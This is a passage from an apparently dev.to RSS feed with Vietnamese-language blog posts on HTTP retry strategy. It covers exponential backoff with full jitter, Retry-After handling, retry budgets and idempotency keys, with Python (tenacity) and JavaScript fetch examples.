        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# cho phép client retry khi lỗi thật sự
&lt;/span&gt;        &lt;span class="k"&gt;raise&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trong thực tế bạn nên lưu thêm hash của request body, để nếu client gửi cùng key nhưng body khác thì trả &lt;code&gt;422&lt;/code&gt; (Stripe làm đúng như vậy). Với hệ thống cần độ bền cao hơn Redis, hãy lưu idempotency record trong cùng transaction PostgreSQL với business data, dùng &lt;code&gt;UNIQUE&lt;/code&gt; constraint trên cột key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Retry trông đơn giản nhưng là một trong những nguồn gây sự cố dây chuyền phổ biến nhất trong distributed system. Checklist mình dùng khi review code:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Mặc định không retry.&lt;/strong&gt; Chỉ retry lỗi transient (timeout, 429, 502, 503, 504), không bao giờ retry 4xx khác.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Luôn dùng exponential backoff + full jitter&lt;/strong&gt;, có cả giới hạn số lần thử lẫn tổng thời gian.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tôn trọng &lt;code&gt;Retry-After&lt;/code&gt;&lt;/strong&gt; khi server gửi về.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retry ở đúng một tầng&lt;/strong&gt;, có retry budget và circuit breaker để tránh retry storm.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;POST có side effect phải có Idempotency Key.&lt;/strong&gt; Không có thì không retry, chấm hết.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log và đo mọi lần retry.&lt;/strong&gt; Tỉ lệ retry tăng đột biến thường là tín hiệu sớm nhất cho thấy dependency sắp sập.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Nếu chỉ làm được một việc sau khi đọc bài này, hãy grep codebase của bạn tìm những chỗ đang retry &lt;code&gt;POST&lt;/code&gt; mà không có idempotency key. Mình cá là bạn sẽ tìm thấy ít nhất một chỗ.&lt;/p&gt;

</description>
      <category>backend</category>
      <category>distributedsystems</category>
      <category>python</category>
      <category>reliability</category>
    </item>
    <item>
      <title>To Retry or Not to Retry: Exponential Backoff, Jitter and Idempotency Keys Done Right</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Thu, 08 Oct 2026 17:33:05 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/to-retry-or-not-to-retry-exponential-backoff-jitter-and-idempotency-keys-done-right-bcm</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/to-retry-or-not-to-retry-exponential-backoff-jitter-and-idempotency-keys-done-right-bcm</guid>
      <description>&lt;p&gt;Hầu như dev nào cũng từng viết một vòng &lt;code&gt;for i in range(3)&lt;/code&gt; bọc quanh một HTTP call, rồi tự tin là hệ thống đã "resilient". Mình cũng vậy, cho đến một đêm payment gateway của đối tác chậm khoảng 2 giây. Service của tụi mình retry ngay lập tức, 3 lần, trên 40 instance. Một sự cố nhỏ thành ra một cơn retry storm, và gateway sập hẳn. Tệ hơn nữa, vài khách hàng bị trừ tiền 2 lần vì request đầu thật ra đã thành công, chỉ có response là bị timeout.&lt;/p&gt;

&lt;p&gt;Retry không phải lúc nào cũng sai, nhưng retry ẩu thì nguy hiểm hơn là không retry. Bài này tóm lại những gì mình rút ra sau vài lần bị ăn hành: khi nào nên retry, retry thế nào cho đúng, và làm sao để retry không gây hậu quả.&lt;/p&gt;

&lt;h2&gt;
  
  
  Khi nào nên retry, khi nào không
&lt;/h2&gt;

&lt;p&gt;Câu hỏi đầu tiên không phải là "retry mấy lần" mà là: &lt;strong&gt;lỗi này có phải lỗi tạm thời không, và thao tác này có idempotent không?&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A[Request thất bại] --&amp;gt; B{Lỗi tạm thời?&amp;lt;br/&amp;gt;timeout, 429, 502, 503, 504}
    B -- Không: 400, 401, 404, 422 --&amp;gt; X[Fail ngay, không retry]
    B -- Có --&amp;gt; C{Thao tác idempotent?&amp;lt;br/&amp;gt;GET, PUT, DELETE hoặc có Idempotency-Key}
    C -- Không --&amp;gt; Y[Không retry tự động&amp;lt;br/&amp;gt;hoặc thêm idempotency key]
    C -- Có --&amp;gt; D{Còn budget?&amp;lt;br/&amp;gt;số lần + tổng thời gian}
    D -- Hết --&amp;gt; Z[Fail, log, alert]
    D -- Còn --&amp;gt; E[Chờ backoff + jitter] --&amp;gt; F[Retry]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Vài quy tắc mình áp dụng:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Không retry lỗi 4xx&lt;/strong&gt; (trừ 408 và 429). Gửi lại một request sai format 5 lần thì nó vẫn sai.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tôn trọng header &lt;code&gt;Retry-After&lt;/code&gt;&lt;/strong&gt; khi gặp 429 hoặc 503. Server đã nói rõ khi nào nên quay lại, đừng đoán.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Timeout là trường hợp khó nhất.&lt;/strong&gt; Bạn không biết request đã được xử lý hay chưa. Với &lt;code&gt;POST /payments&lt;/code&gt; mà không có idempotency key thì đừng bao giờ retry tự động.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chỉ retry ở một tầng.&lt;/strong&gt; Nếu client retry 3 lần, API gateway retry 3 lần, service retry 3 lần thì một request gốc có thể thành 27 request ở downstream. Retry nhân lên theo cấp số nhân qua các tầng.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Exponential backoff + jitter: đừng để mọi client cùng retry một lúc
&lt;/h2&gt;

&lt;p&gt;Retry ngay lập tức gần như luôn sai. Nếu server đang quá tải, bạn chỉ dội thêm tải vào nó. Exponential backoff (chờ 0.5s, 1s, 2s, 4s...) giúp giãn tải ra, nhưng vẫn còn một vấn đề: nếu 1000 client cùng fail vào một thời điểm thì chúng cũng sẽ cùng retry vào đúng các mốc giống nhau. Đây là "thundering herd".&lt;/p&gt;

&lt;p&gt;Giải pháp là &lt;strong&gt;jitter&lt;/strong&gt;: thêm yếu tố ngẫu nhiên vào thời gian chờ. Theo phân tích nổi tiếng của AWS Architecture Blog, "full jitter" (&lt;code&gt;sleep = random(0, min(cap, base * 2^attempt))&lt;/code&gt;) cho tổng số request thấp nhất mà thời gian hoàn thành vẫn chấp nhận được.&lt;/p&gt;

&lt;p&gt;Với Python, mình dùng &lt;code&gt;tenacity&lt;/code&gt; (bản 9.x) thay vì tự viết:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pip install tenacity==9.0.0 httpx==0.27.2
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tenacity&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;retry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stop_after_attempt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stop_after_delay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;wait_random_exponential&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retry_if_exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;before_sleep_log&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;

&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;RETRYABLE_STATUS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;408&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;504&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_retryable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;BaseException&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ConnectError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ReadTimeout&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPStatusError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;RETRYABLE_STATUS&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

&lt;span class="nd"&gt;@retry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;retry&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;retry_if_exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;is_retryable&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;wait_random_exponential&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;multiplier&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;max&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  &lt;span class="c1"&gt;# full jitter, cap 10s
&lt;/span&gt;    &lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;stop_after_attempt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nf"&gt;stop_after_delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;   &lt;span class="c1"&gt;# budget: 4 lần HOẶC 20s
&lt;/span&gt;    &lt;span class="n"&gt;before_sleep&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;before_sleep_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;WARNING&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;reraise&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fetch_exchange_rate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;currency&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/rates/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;currency&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;3.0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raise_for_status&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Điểm quan trọng: &lt;code&gt;stop&lt;/code&gt; kết hợp cả &lt;strong&gt;số lần&lt;/strong&gt; và &lt;strong&gt;tổng thời gian&lt;/strong&gt;. Nếu user đang chờ một request có timeout 30s ở frontend thì việc bạn retry đến giây thứ 45 là vô nghĩa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Phía JavaScript: fetch, AbortSignal và Retry-After
&lt;/h2&gt;

&lt;p&gt;Với Node.js 20+ hoặc trình duyệt hiện đại, bạn không cần thêm thư viện. &lt;code&gt;AbortSignal.timeout()&lt;/code&gt; và &lt;code&gt;AbortSignal.any()&lt;/code&gt; đã có sẵn:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;RETRYABLE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;408&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;504&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sleep&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;setTimeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;ms&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;backoffMs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;baseMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;capMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;exp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;capMs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;baseMs&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// full jitter&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;parseRetryAfter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;secs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isNaN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;secs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;secs&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;header&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isNaN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;date&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;fetchWithRetry&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;opts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;totalTimeoutMs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;15000&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;deadline&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;totalTimeoutMs&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="nx"&gt;deadline&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;AbortSignal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;)]);&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;opts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

